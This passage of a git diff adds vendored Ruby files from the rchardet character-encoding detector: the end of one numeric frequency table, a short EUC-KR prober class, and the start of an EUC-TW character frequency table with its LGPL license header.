+5906,5907,1686,5908,5909,5910,5911,5912,5913,5914,5915,5916,5917,5918,5919,5920, +5921,5922,5923,5924,5925,5926,5927,5928,5929,5930,5931,5932,5933,5934,5935,1687, +5936,5937,5938,5939,5940,5941,5942,5943,5944,5945,5946,5947,5948,5949,5950,5951, +5952,1688,1689,5953,1199,5954,5955,5956,5957,5958,5959,5960,5961,1690,5962,5963, +5964,5965,5966,5967,5968,5969,5970,5971,5972,5973,5974,5975,5976,5977,5978,5979, +5980,5981,1385,5982,1386,5983,5984,5985,5986,5987,5988,5989,5990,5991,5992,5993, +5994,5995,5996,5997,5998,5999,6000,6001,6002,6003,6004,6005,6006,6007,6008,6009, +6010,6011,6012,6013,6014,6015,6016,6017,6018,6019,6020,6021,6022,6023,6024,6025, +6026,6027,1265,6028,6029,1691,6030,6031,6032,6033,6034,6035,6036,6037,6038,6039, +6040,6041,6042,6043,6044,6045,6046,6047,6048,6049,6050,6051,6052,6053,6054,6055, +6056,6057,6058,6059,6060,6061,6062,6063,6064,6065,6066,6067,6068,6069,6070,6071, +6072,6073,6074,6075,6076,6077,6078,6079,6080,6081,6082,6083,6084,1692,6085,6086, +6087,6088,6089,6090,6091,6092,6093,6094,6095,6096,6097,6098,6099,6100,6101,6102, +6103,6104,6105,6106,6107,6108,6109,6110,6111,6112,6113,6114,6115,6116,6117,6118, +6119,6120,6121,6122,6123,6124,6125,6126,6127,6128,6129,6130,6131,1693,6132,6133, +6134,6135,6136,1694,6137,6138,6139,6140,6141,1695,6142,6143,6144,6145,6146,6147, +6148,6149,6150,6151,6152,6153,6154,6155,6156,6157,6158,6159,6160,6161,6162,6163, +6164,6165,6166,6167,6168,6169,6170,6171,6172,6173,6174,6175,6176,6177,6178,6179, +6180,6181,6182,6183,6184,6185,1696,6186,6187,6188,6189,6190,6191,6192,6193,6194, +6195,6196,6197,6198,6199,6200,6201,6202,6203,6204,6205,6206,6207,6208,6209,6210, +6211,6212,6213,6214,6215,6216,6217,6218,6219,1697,6220,6221,6222,6223,6224,6225, +6226,6227,6228,6229,6230,6231,6232,6233,6234,6235,6236,6237,6238,6239,6240,6241, +6242,6243,6244,6245,6246,6247,6248,6249,6250,6251,6252,6253,1698,6254,6255,6256, +6257,6258,6259,6260,6261,6262,6263,1200,6264,6265,6266,6267,6268,6269,6270,6271, #1024 +6272,6273,6274,6275,6276,6277,6278,6279,6280,6281,6282,6283,6284,6285,6286,6287, +6288,6289,6290,6291,6292,6293,6294,6295,6296,6297,6298,6299,6300,6301,6302,1699, +6303,6304,1700,6305,6306,6307,6308,6309,6310,6311,6312,6313,6314,6315,6316,6317, +6318,6319,6320,6321,6322,6323,6324,6325,6326,6327,6328,6329,6330,6331,6332,6333, +6334,6335,6336,6337,6338,6339,1701,6340,6341,6342,6343,6344,1387,6345,6346,6347, +6348,6349,6350,6351,6352,6353,6354,6355,6356,6357,6358,6359,6360,6361,6362,6363, +6364,6365,6366,6367,6368,6369,6370,6371,6372,6373,6374,6375,6376,6377,6378,6379, +6380,6381,6382,6383,6384,6385,6386,6387,6388,6389,6390,6391,6392,6393,6394,6395, +6396,6397,6398,6399,6400,6401,6402,6403,6404,6405,6406,6407,6408,6409,6410,6411, +6412,6413,1702,6414,6415,6416,6417,6418,6419,6420,6421,6422,1703,6423,6424,6425, +6426,6427,6428,6429,6430,6431,6432,6433,6434,6435,6436,6437,6438,1704,6439,6440, +6441,6442,6443,6444,6445,6446,6447,6448,6449,6450,6451,6452,6453,6454,6455,6456, +6457,6458,6459,6460,6461,6462,6463,6464,6465,6466,6467,6468,6469,6470,6471,6472, +6473,6474,6475,6476,6477,6478,6479,6480,6481,6482,6483,6484,6485,6486,6487,6488, +6489,6490,6491,6492,6493,6494,6495,6496,6497,6498,6499,6500,6501,6502,6503,1266, +6504,6505,6506,6507,6508,6509,6510,6511,6512,6513,6514,6515,6516,6517,6518,6519, +6520,6521,6522,6523,6524,6525,6526,6527,6528,6529,6530,6531,6532,6533,6534,6535, +6536,6537,6538,6539,6540,6541,6542,6543,6544,6545,6546,6547,6548,6549,6550,6551, +1705,1706,6552,6553,6554,6555,6556,6557,6558,6559,6560,6561,6562,6563,6564,6565, +6566,6567,6568,6569,6570,6571,6572,6573,6574,6575,6576,6577,6578,6579,6580,6581, +6582,6583,6584,6585,6586,6587,6588,6589,6590,6591,6592,6593,6594,6595,6596,6597, +6598,6599,6600,6601,6602,6603,6604,6605,6606,6607,6608,6609,6610,6611,6612,6613, +6614,6615,6616,6617,6618,6619,6620,6621,6622,6623,6624,6625,6626,6627,6628,6629, +6630,6631,6632,6633,6634,6635,6636,6637,1388,6638,6639,6640,6641,6642,6643,6644, +1707,6645,6646,6647,6648,6649,6650,6651,6652,6653,6654,6655,6656,6657,6658,6659, +6660,6661,6662,6663,1708,6664,6665,6666,6667,6668,6669,6670,6671,6672,6673,6674, +1201,6675,6676,6677,6678,6679,6680,6681,6682,6683,6684,6685,6686,6687,6688,6689, +6690,6691,6692,6693,6694,6695,6696,6697,6698,6699,6700,6701,6702,6703,6704,6705, +6706,6707,6708,6709,6710,6711,6712,6713,6714,6715,6716,6717,6718,6719,6720,6721, +6722,6723,6724,6725,1389,6726,6727,6728,6729,6730,6731,6732,6733,6734,6735,6736, +1390,1709,6737,6738,6739,6740,6741,6742,1710,6743,6744,6745,6746,1391,6747,6748, +6749,6750,6751,6752,6753,6754,6755,6756,6757,1392,6758,6759,6760,6761,6762,6763, +6764,6765,6766,6767,6768,6769,6770,6771,6772,6773,6774,6775,6776,6777,6778,6779, +6780,1202,6781,6782,6783,6784,6785,6786,6787,6788,6789,6790,6791,6792,6793,6794, +6795,6796,6797,6798,6799,6800,6801,6802,6803,6804,6805,6806,6807,6808,6809,1711, +6810,6811,6812,6813,6814,6815,6816,6817,6818,6819,6820,6821,6822,6823,6824,6825, +6826,6827,6828,6829,6830,6831,6832,6833,6834,6835,6836,1393,6837,6838,6839,6840, +6841,6842,6843,6844,6845,6846,6847,6848,6849,6850,6851,6852,6853,6854,6855,6856, +6857,6858,6859,6860,6861,6862,6863,6864,6865,6866,6867,6868,6869,6870,6871,6872, +6873,6874,6875,6876,6877,6878,6879,6880,6881,6882,6883,6884,6885,6886,6887,6888, +6889,6890,6891,6892,6893,6894,6895,6896,6897,6898,6899,6900,6901,6902,1712,6903, +6904,6905,6906,6907,6908,6909,6910,1713,6911,6912,6913,6914,6915,6916,6917,6918, +6919,6920,6921,6922,6923,6924,6925,6926,6927,6928,6929,6930,6931,6932,6933,6934, +6935,6936,6937,6938,6939,6940,6941,6942,6943,6944,6945,6946,6947,6948,6949,6950, +6951,6952,6953,6954,6955,6956,6957,6958,6959,6960,6961,6962,6963,6964,6965,6966, +6967,6968,6969,6970,6971,6972,6973,6974,1714,6975,6976,6977,6978,6979,6980,6981, +6982,6983,6984,6985,6986,6987,6988,1394,6989,6990,6991,6992,6993,6994,6995,6996, +6997,6998,6999,7000,1715,7001,7002,7003,7004,7005,7006,7007,7008,7009,7010,7011, +7012,7013,7014,7015,7016,7017,7018,7019,7020,7021,7022,7023,7024,7025,7026,7027, +7028,1716,7029,7030,7031,7032,7033,7034,7035,7036,7037,7038,7039,7040,7041,7042, +7043,7044,7045,7046,7047,7048,7049,7050,7051,7052,7053,7054,7055,7056,7057,7058, +7059,7060,7061,7062,7063,7064,7065,7066,7067,7068,7069,7070,7071,7072,7073,7074, +7075,7076,7077,7078,7079,7080,7081,7082,7083,7084,7085,7086,7087,7088,7089,7090, +7091,7092,7093,7094,7095,7096,7097,7098,7099,7100,7101,7102,7103,7104,7105,7106, +7107,7108,7109,7110,7111,7112,7113,7114,7115,7116,7117,7118,7119,7120,7121,7122, +7123,7124,7125,7126,7127,7128,7129,7130,7131,7132,7133,7134,7135,7136,7137,7138, +7139,7140,7141,7142,7143,7144,7145,7146,7147,7148,7149,7150,7151,7152,7153,7154, +7155,7156,7157,7158,7159,7160,7161,7162,7163,7164,7165,7166,7167,7168,7169,7170, +7171,7172,7173,7174,7175,7176,7177,7178,7179,7180,7181,7182,7183,7184,7185,7186, +7187,7188,7189,7190,7191,7192,7193,7194,7195,7196,7197,7198,7199,7200,7201,7202, +7203,7204,7205,7206,7207,1395,7208,7209,7210,7211,7212,7213,1717,7214,7215,7216, +7217,7218,7219,7220,7221,7222,7223,7224,7225,7226,7227,7228,7229,7230,7231,7232, +7233,7234,7235,7236,7237,7238,7239,7240,7241,7242,7243,7244,7245,7246,7247,7248, +7249,7250,7251,7252,7253,7254,7255,7256,7257,7258,7259,7260,7261,7262,7263,7264, +7265,7266,7267,7268,7269,7270,7271,7272,7273,7274,7275,7276,7277,7278,7279,7280, +7281,7282,7283,7284,7285,7286,7287,7288,7289,7290,7291,7292,7293,7294,7295,7296, +7297,7298,7299,7300,7301,7302,7303,7304,7305,7306,7307,7308,7309,7310,7311,7312, +7313,1718,7314,7315,7316,7317,7318,7319,7320,7321,7322,7323,7324,7325,7326,7327, +7328,7329,7330,7331,7332,7333,7334,7335,7336,7337,7338,7339,7340,7341,7342,7343, +7344,7345,7346,7347,7348,7349,7350,7351,7352,7353,7354,7355,7356,7357,7358,7359, +7360,7361,7362,7363,7364,7365,7366,7367,7368,7369,7370,7371,7372,7373,7374,7375, +7376,7377,7378,7379,7380,7381,7382,7383,7384,7385,7386,7387,7388,7389,7390,7391, +7392,7393,7394,7395,7396,7397,7398,7399,7400,7401,7402,7403,7404,7405,7406,7407, +7408,7409,7410,7411,7412,7413,7414,7415,7416,7417,7418,7419,7420,7421,7422,7423, +7424,7425,7426,7427,7428,7429,7430,7431,7432,7433,7434,7435,7436,7437,7438,7439, +7440,7441,7442,7443,7444,7445,7446,7447,7448,7449,7450,7451,7452,7453,7454,7455, +7456,7457,7458,7459,7460,7461,7462,7463,7464,7465,7466,7467,7468,7469,7470,7471, +7472,7473,7474,7475,7476,7477,7478,7479,7480,7481,7482,7483,7484,7485,7486,7487, +7488,7489,7490,7491,7492,7493,7494,7495,7496,7497,7498,7499,7500,7501,7502,7503, +7504,7505,7506,7507,7508,7509,7510,7511,7512,7513,7514,7515,7516,7517,7518,7519, +7520,7521,7522,7523,7524,7525,7526,7527,7528,7529,7530,7531,7532,7533,7534,7535, +7536,7537,7538,7539,7540,7541,7542,7543,7544,7545,7546,7547,7548,7549,7550,7551, +7552,7553,7554,7555,7556,7557,7558,7559,7560,7561,7562,7563,7564,7565,7566,7567, +7568,7569,7570,7571,7572,7573,7574,7575,7576,7577,7578,7579,7580,7581,7582,7583, +7584,7585,7586,7587,7588,7589,7590,7591,7592,7593,7594,7595,7596,7597,7598,7599, +7600,7601,7602,7603,7604,7605,7606,7607,7608,7609,7610,7611,7612,7613,7614,7615, +7616,7617,7618,7619,7620,7621,7622,7623,7624,7625,7626,7627,7628,7629,7630,7631, +7632,7633,7634,7635,7636,7637,7638,7639,7640,7641,7642,7643,7644,7645,7646,7647, +7648,7649,7650,7651,7652,7653,7654,7655,7656,7657,7658,7659,7660,7661,7662,7663, +7664,7665,7666,7667,7668,7669,7670,7671,7672,7673,7674,7675,7676,7677,7678,7679, +7680,7681,7682,7683,7684,7685,7686,7687,7688,7689,7690,7691,7692,7693,7694,7695, +7696,7697,7698,7699,7700,7701,7702,7703,7704,7705,7706,7707,7708,7709,7710,7711, +7712,7713,7714,7715,7716,7717,7718,7719,7720,7721,7722,7723,7724,7725,7726,7727, +7728,7729,7730,7731,7732,7733,7734,7735,7736,7737,7738,7739,7740,7741,7742,7743, +7744,7745,7746,7747,7748,7749,7750,7751,7752,7753,7754,7755,7756,7757,7758,7759, +7760,7761,7762,7763,7764,7765,7766,7767,7768,7769,7770,7771,7772,7773,7774,7775, +7776,7777,7778,7779,7780,7781,7782,7783,7784,7785,7786,7787,7788,7789,7790,7791, +7792,7793,7794,7795,7796,7797,7798,7799,7800,7801,7802,7803,7804,7805,7806,7807, +7808,7809,7810,7811,7812,7813,7814,7815,7816,7817,7818,7819,7820,7821,7822,7823, +7824,7825,7826,7827,7828,7829,7830,7831,7832,7833,7834,7835,7836,7837,7838,7839, +7840,7841,7842,7843,7844,7845,7846,7847,7848,7849,7850,7851,7852,7853,7854,7855, +7856,7857,7858,7859,7860,7861,7862,7863,7864,7865,7866,7867,7868,7869,7870,7871, +7872,7873,7874,7875,7876,7877,7878,7879,7880,7881,7882,7883,7884,7885,7886,7887, +7888,7889,7890,7891,7892,7893,7894,7895,7896,7897,7898,7899,7900,7901,7902,7903, +7904,7905,7906,7907,7908,7909,7910,7911,7912,7913,7914,7915,7916,7917,7918,7919, +7920,7921,7922,7923,7924,7925,7926,7927,7928,7929,7930,7931,7932,7933,7934,7935, +7936,7937,7938,7939,7940,7941,7942,7943,7944,7945,7946,7947,7948,7949,7950,7951, +7952,7953,7954,7955,7956,7957,7958,7959,7960,7961,7962,7963,7964,7965,7966,7967, +7968,7969,7970,7971,7972,7973,7974,7975,7976,7977,7978,7979,7980,7981,7982,7983, +7984,7985,7986,7987,7988,7989,7990,7991,7992,7993,7994,7995,7996,7997,7998,7999, +8000,8001,8002,8003,8004,8005,8006,8007,8008,8009,8010,8011,8012,8013,8014,8015, +8016,8017,8018,8019,8020,8021,8022,8023,8024,8025,8026,8027,8028,8029,8030,8031, +8032,8033,8034,8035,8036,8037,8038,8039,8040,8041,8042,8043,8044,8045,8046,8047, +8048,8049,8050,8051,8052,8053,8054,8055,8056,8057,8058,8059,8060,8061,8062,8063, +8064,8065,8066,8067,8068,8069,8070,8071,8072,8073,8074,8075,8076,8077,8078,8079, +8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095, +8096,8097,8098,8099,8100,8101,8102,8103,8104,8105,8106,8107,8108,8109,8110,8111, +8112,8113,8114,8115,8116,8117,8118,8119,8120,8121,8122,8123,8124,8125,8126,8127, +8128,8129,8130,8131,8132,8133,8134,8135,8136,8137,8138,8139,8140,8141,8142,8143, +8144,8145,8146,8147,8148,8149,8150,8151,8152,8153,8154,8155,8156,8157,8158,8159, +8160,8161,8162,8163,8164,8165,8166,8167,8168,8169,8170,8171,8172,8173,8174,8175, +8176,8177,8178,8179,8180,8181,8182,8183,8184,8185,8186,8187,8188,8189,8190,8191, +8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8203,8204,8205,8206,8207, +8208,8209,8210,8211,8212,8213,8214,8215,8216,8217,8218,8219,8220,8221,8222,8223, +8224,8225,8226,8227,8228,8229,8230,8231,8232,8233,8234,8235,8236,8237,8238,8239, +8240,8241,8242,8243,8244,8245,8246,8247,8248,8249,8250,8251,8252,8253,8254,8255, +8256,8257,8258,8259,8260,8261,8262,8263,8264,8265,8266,8267,8268,8269,8270,8271, +8272,8273,8274,8275,8276,8277,8278,8279,8280,8281,8282,8283,8284,8285,8286,8287, +8288,8289,8290,8291,8292,8293,8294,8295,8296,8297,8298,8299,8300,8301,8302,8303, +8304,8305,8306,8307,8308,8309,8310,8311,8312,8313,8314,8315,8316,8317,8318,8319, +8320,8321,8322,8323,8324,8325,8326,8327,8328,8329,8330,8331,8332,8333,8334,8335, +8336,8337,8338,8339,8340,8341,8342,8343,8344,8345,8346,8347,8348,8349,8350,8351, +8352,8353,8354,8355,8356,8357,8358,8359,8360,8361,8362,8363,8364,8365,8366,8367, +8368,8369,8370,8371,8372,8373,8374,8375,8376,8377,8378,8379,8380,8381,8382,8383, +8384,8385,8386,8387,8388,8389,8390,8391,8392,8393,8394,8395,8396,8397,8398,8399, +8400,8401,8402,8403,8404,8405,8406,8407,8408,8409,8410,8411,8412,8413,8414,8415, +8416,8417,8418,8419,8420,8421,8422,8423,8424,8425,8426,8427,8428,8429,8430,8431, +8432,8433,8434,8435,8436,8437,8438,8439,8440,8441,8442,8443,8444,8445,8446,8447, +8448,8449,8450,8451,8452,8453,8454,8455,8456,8457,8458,8459,8460,8461,8462,8463, +8464,8465,8466,8467,8468,8469,8470,8471,8472,8473,8474,8475,8476,8477,8478,8479, +8480,8481,8482,8483,8484,8485,8486,8487,8488,8489,8490,8491,8492,8493,8494,8495, +8496,8497,8498,8499,8500,8501,8502,8503,8504,8505,8506,8507,8508,8509,8510,8511, +8512,8513,8514,8515,8516,8517,8518,8519,8520,8521,8522,8523,8524,8525,8526,8527, +8528,8529,8530,8531,8532,8533,8534,8535,8536,8537,8538,8539,8540,8541,8542,8543, +8544,8545,8546,8547,8548,8549,8550,8551,8552,8553,8554,8555,8556,8557,8558,8559, +8560,8561,8562,8563,8564,8565,8566,8567,8568,8569,8570,8571,8572,8573,8574,8575, +8576,8577,8578,8579,8580,8581,8582,8583,8584,8585,8586,8587,8588,8589,8590,8591, +8592,8593,8594,8595,8596,8597,8598,8599,8600,8601,8602,8603,8604,8605,8606,8607, +8608,8609,8610,8611,8612,8613,8614,8615,8616,8617,8618,8619,8620,8621,8622,8623, +8624,8625,8626,8627,8628,8629,8630,8631,8632,8633,8634,8635,8636,8637,8638,8639, +8640,8641,8642,8643,8644,8645,8646,8647,8648,8649,8650,8651,8652,8653,8654,8655, +8656,8657,8658,8659,8660,8661,8662,8663,8664,8665,8666,8667,8668,8669,8670,8671, +8672,8673,8674,8675,8676,8677,8678,8679,8680,8681,8682,8683,8684,8685,8686,8687, +8688,8689,8690,8691,8692,8693,8694,8695,8696,8697,8698,8699,8700,8701,8702,8703, +8704,8705,8706,8707,8708,8709,8710,8711,8712,8713,8714,8715,8716,8717,8718,8719, +8720,8721,8722,8723,8724,8725,8726,8727,8728,8729,8730,8731,8732,8733,8734,8735, +8736,8737,8738,8739,8740,8741 +] +end diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/euckrprober.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/euckrprober.rb new file mode 100755 index 00000000..7b45e0f1 --- /dev/null +++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/euckrprober.rb @@ -0,0 +1,42 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is mozilla.org code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Jeff Hodges - port to Ruby +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +module CharDet + class EUCKRProber < MultiByteCharSetProber + def initialize + super() + @_mCodingSM = CodingStateMachine.new(EUCKRSMModel) + @_mDistributionAnalyzer = EUCKRDistributionAnalysis.new() + reset() + end + + def get_charset_name + return "EUC-KR" + end + end +end diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/euctwfreq.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/euctwfreq.rb new file mode 100755 index 00000000..207597a5 --- /dev/null +++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/euctwfreq.rb @@ -0,0 +1,430 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Communicator client code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Jeff Hodges - port to Ruby +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +# EUCTW frequency table +# Converted from big5 work +# by Taiwan's Mandarin Promotion Council +# + +# 128 --> 0.42261 +# 256 --> 0.57851 +# 512 --> 0.74851 +# 1024 --> 0.89384 +# 2048 --> 0.97583 +# +# Idea Distribution Ratio = 0.74851/(1-0.74851) =2.98 +# Random Distribution Ration = 512/(5401-512)=0.105 +# +# Typical Distribution Ratio about 25% of Ideal one, still much higher than RDR + +module CharDet + +EUCTW_TYPICAL_DISTRIBUTION_RATIO = 0.75 + +# Char to FreqOrder table , +EUCTW_TABLE_SIZE = 8102 + +EUCTWCharToFreqOrder = [ + 1,1800,1506, 255,1431, 198, 9, 82, 6,7310, 177, 202,3615,1256,2808, 110, # 2742 +3735, 33,3241, 261, 76, 44,2113, 16,2931,2184,1176, 659,3868, 26,3404,2643, # 2758 +1198,3869,3313,4060, 410,2211, 302, 590, 361,1963, 8, 204, 58,4296,7311,1931, # 2774 + 63,7312,7313, 317,1614, 75, 222, 159,4061,2412,1480,7314,3500,3068, 224,2809, # 2790 +3616, 3, 10,3870,1471, 29,2774,1135,2852,1939, 873, 130,3242,1123, 312,7315, # 2806 +4297,2051, 507, 252, 682,7316, 142,1914, 124, 206,2932, 34,3501,3173, 64, 604, # 2822 +7317,2494,1976,1977, 155,1990, 645, 641,1606,7318,3405, 337, 72, 406,7319, 80, # 2838 + 630, 238,3174,1509, 263, 939,1092,2644, 756,1440,1094,3406, 449, 69,2969, 591, # 2854 + 179,2095, 471, 115,2034,1843, 60, 50,2970, 134, 806,1868, 734,2035,3407, 180, # 2870 + 995,1607, 156, 537,2893, 688,7320, 319,1305, 779,2144, 514,2374, 298,4298, 359, # 2886 +2495, 90,2707,1338, 663, 11, 906,1099,2545, 20,2436, 182, 532,1716,7321, 732, # 2902 +1376,4062,1311,1420,3175, 25,2312,1056, 113, 399, 382,1949, 242,3408,2467, 529, # 2918 +3243, 475,1447,3617,7322, 117, 21, 656, 810,1297,2295,2329,3502,7323, 126,4063, # 2934 + 706, 456, 150, 613,4299, 71,1118,2036,4064, 145,3069, 85, 835, 486,2114,1246, # 2950 +1426, 428, 727,1285,1015, 800, 106, 623, 303,1281,7324,2127,2354, 347,3736, 221, # 2966 +3503,3110,7325,1955,1153,4065, 83, 296,1199,3070, 192, 624, 93,7326, 822,1897, # 2982 +2810,3111, 795,2064, 991,1554,1542,1592, 27, 43,2853, 859, 139,1456, 860,4300, # 2998 + 437, 712,3871, 164,2392,3112, 695, 211,3017,2096, 195,3872,1608,3504,3505,3618, # 3014 +3873, 234, 811,2971,2097,3874,2229,1441,3506,1615,2375, 668,2076,1638, 305, 228, # 3030 +1664,4301, 467, 415,7327, 262,2098,1593, 239, 108, 300, 200,1033, 512,1247,2077, # 3046 +7328,7329,2173,3176,3619,2673, 593, 845,1062,3244, 88,1723,2037,3875,1950, 212, # 3062 + 266, 152, 149, 468,1898,4066,4302, 77, 187,7330,3018, 37, 5,2972,7331,3876, # 3078 +7332,7333, 39,2517,4303,2894,3177,2078, 55, 148, 74,4304, 545, 483,1474,1029, # 3094 +1665, 217,1869,1531,3113,1104,2645,4067, 24, 172,3507, 900,3877,3508,3509,4305, # 3110 + 32,1408,2811,1312, 329, 487,2355,2247,2708, 784,2674, 4,3019,3314,1427,1788, # 3126 + 188, 109, 499,7334,3620,1717,1789, 888,1217,3020,4306,7335,3510,7336,3315,1520, # 3142 +3621,3878, 196,1034, 775,7337,7338, 929,1815, 249, 439, 38,7339,1063,7340, 794, # 3158 +3879,1435,2296, 46, 178,3245,2065,7341,2376,7342, 214,1709,4307, 804, 35, 707, # 3174 + 324,3622,1601,2546, 140, 459,4068,7343,7344,1365, 839, 272, 978,2257,2572,3409, # 3190 +2128,1363,3623,1423, 697, 100,3071, 48, 70,1231, 495,3114,2193,7345,1294,7346, # 3206 +2079, 462, 586,1042,3246, 853, 256, 988, 185,2377,3410,1698, 434,1084,7347,3411, # 3222 + 314,2615,2775,4308,2330,2331, 569,2280, 637,1816,2518, 757,1162,1878,1616,3412, # 3238 + 287,1577,2115, 768,4309,1671,2854,3511,2519,1321,3737, 909,2413,7348,4069, 933, # 3254 +3738,7349,2052,2356,1222,4310, 765,2414,1322, 786,4311,7350,1919,1462,1677,2895, # 3270 +1699,7351,4312,1424,2437,3115,3624,2590,3316,1774,1940,3413,3880,4070, 309,1369, # 3286 +1130,2812, 364,2230,1653,1299,3881,3512,3882,3883,2646, 525,1085,3021, 902,2000, # 3302 +1475, 964,4313, 421,1844,1415,1057,2281, 940,1364,3116, 376,4314,4315,1381, 7, # 3318 +2520, 983,2378, 336,1710,2675,1845, 321,3414, 559,1131,3022,2742,1808,1132,1313, # 3334 + 265,1481,1857,7352, 352,1203,2813,3247, 167,1089, 420,2814, 776, 792,1724,3513, # 3350 +4071,2438,3248,7353,4072,7354, 446, 229, 333,2743, 901,3739,1200,1557,4316,2647, # 3366 +1920, 395,2744,2676,3740,4073,1835, 125, 916,3178,2616,4317,7355,7356,3741,7357, # 3382 +7358,7359,4318,3117,3625,1133,2547,1757,3415,1510,2313,1409,3514,7360,2145, 438, # 3398 +2591,2896,2379,3317,1068, 958,3023, 461, 311,2855,2677,4074,1915,3179,4075,1978, # 3414 + 383, 750,2745,2617,4076, 274, 539, 385,1278,1442,7361,1154,1964, 384, 561, 210, # 3430 + 98,1295,2548,3515,7362,1711,2415,1482,3416,3884,2897,1257, 129,7363,3742, 642, # 3446 + 523,2776,2777,2648,7364, 141,2231,1333, 68, 176, 441, 876, 907,4077, 603,2592, # 3462 + 710, 171,3417, 404, 549, 18,3118,2393,1410,3626,1666,7365,3516,4319,2898,4320, # 3478 +7366,2973, 368,7367, 146, 366, 99, 871,3627,1543, 748, 807,1586,1185, 22,2258, # 3494 + 379,3743,3180,7368,3181, 505,1941,2618,1991,1382,2314,7369, 380,2357, 218, 702, # 3510 +1817,1248,3418,3024,3517,3318,3249,7370,2974,3628, 930,3250,3744,7371, 59,7372, # 3526 + 585, 601,4078, 497,3419,1112,1314,4321,1801,7373,1223,1472,2174,7374, 749,1836, # 3542 + 690,1899,3745,1772,3885,1476, 429,1043,1790,2232,2116, 917,4079, 447,1086,1629, # 3558 +7375, 556,7376,7377,2020,1654, 844,1090, 105, 550, 966,1758,2815,1008,1782, 686, # 3574 +1095,7378,2282, 793,1602,7379,3518,2593,4322,4080,2933,2297,4323,3746, 980,2496, # 3590 + 544, 353, 527,4324, 908,2678,2899,7380, 381,2619,1942,1348,7381,1341,1252, 560, # 3606 +3072,7382,3420,2856,7383,2053, 973, 886,2080, 143,4325,7384,7385, 157,3886, 496, # 3622 +4081, 57, 840, 540,2038,4326,4327,3421,2117,1445, 970,2259,1748,1965,2081,4082, # 3638 +3119,1234,1775,3251,2816,3629, 773,1206,2129,1066,2039,1326,3887,1738,1725,4083, # 3654 + 279,3120, 51,1544,2594, 423,1578,2130,2066, 173,4328,1879,7386,7387,1583, 264, # 3670 + 610,3630,4329,2439, 280, 154,7388,7389,7390,1739, 338,1282,3073, 693,2857,1411, # 3686 +1074,3747,2440,7391,4330,7392,7393,1240, 952,2394,7394,2900,1538,2679, 685,1483, # 3702 +4084,2468,1436, 953,4085,2054,4331, 671,2395, 79,4086,2441,3252, 608, 567,2680, # 3718 +3422,4087,4088,1691, 393,1261,1791,2396,7395,4332,7396,7397,7398,7399,1383,1672, # 3734 +3748,3182,1464, 522,1119, 661,1150, 216, 675,4333,3888,1432,3519, 609,4334,2681, # 3750 +2397,7400,7401,7402,4089,3025, 0,7403,2469, 315, 231,2442, 301,3319,4335,2380, # 3766 +7404, 233,4090,3631,1818,4336,4337,7405, 96,1776,1315,2082,7406, 257,7407,1809, # 3782 +3632,2709,1139,1819,4091,2021,1124,2163,2778,1777,2649,7408,3074, 363,1655,3183, # 3798 +7409,2975,7410,7411,7412,3889,1567,3890, 718, 103,3184, 849,1443, 341,3320,2934, # 3814 +1484,7413,1712, 127, 67, 339,4092,2398, 679,1412, 821,7414,7415, 834, 738, 351, # 3830 +2976,2146, 846, 235,1497,1880, 418,1992,3749,2710, 186,1100,2147,2746,3520,1545, # 3846 +1355,2935,2858,1377, 583,3891,4093,2573,2977,7416,1298,3633,1078,2549,3634,2358, # 3862 + 78,3750,3751, 267,1289,2099,2001,1594,4094, 348, 369,1274,2194,2175,1837,4338, # 3878 +1820,2817,3635,2747,2283,2002,4339,2936,2748, 144,3321, 882,4340,3892,2749,3423, # 3894 +4341,2901,7417,4095,1726, 320,7418,3893,3026, 788,2978,7419,2818,1773,1327,2859, # 3910 +3894,2819,7420,1306,4342,2003,1700,3752,3521,2359,2650, 787,2022, 506, 824,3636, # 3926 + 534, 323,4343,1044,3322,2023,1900, 946,3424,7421,1778,1500,1678,7422,1881,4344, # 3942 + 165, 243,4345,3637,2521, 123, 683,4096, 764,4346, 36,3895,1792, 589,2902, 816, # 3958 + 626,1667,3027,2233,1639,1555,1622,3753,3896,7423,3897,2860,1370,1228,1932, 891, # 3974 +2083,2903, 304,4097,7424, 292,2979,2711,3522, 691,2100,4098,1115,4347, 118, 662, # 3990 +7425, 611,1156, 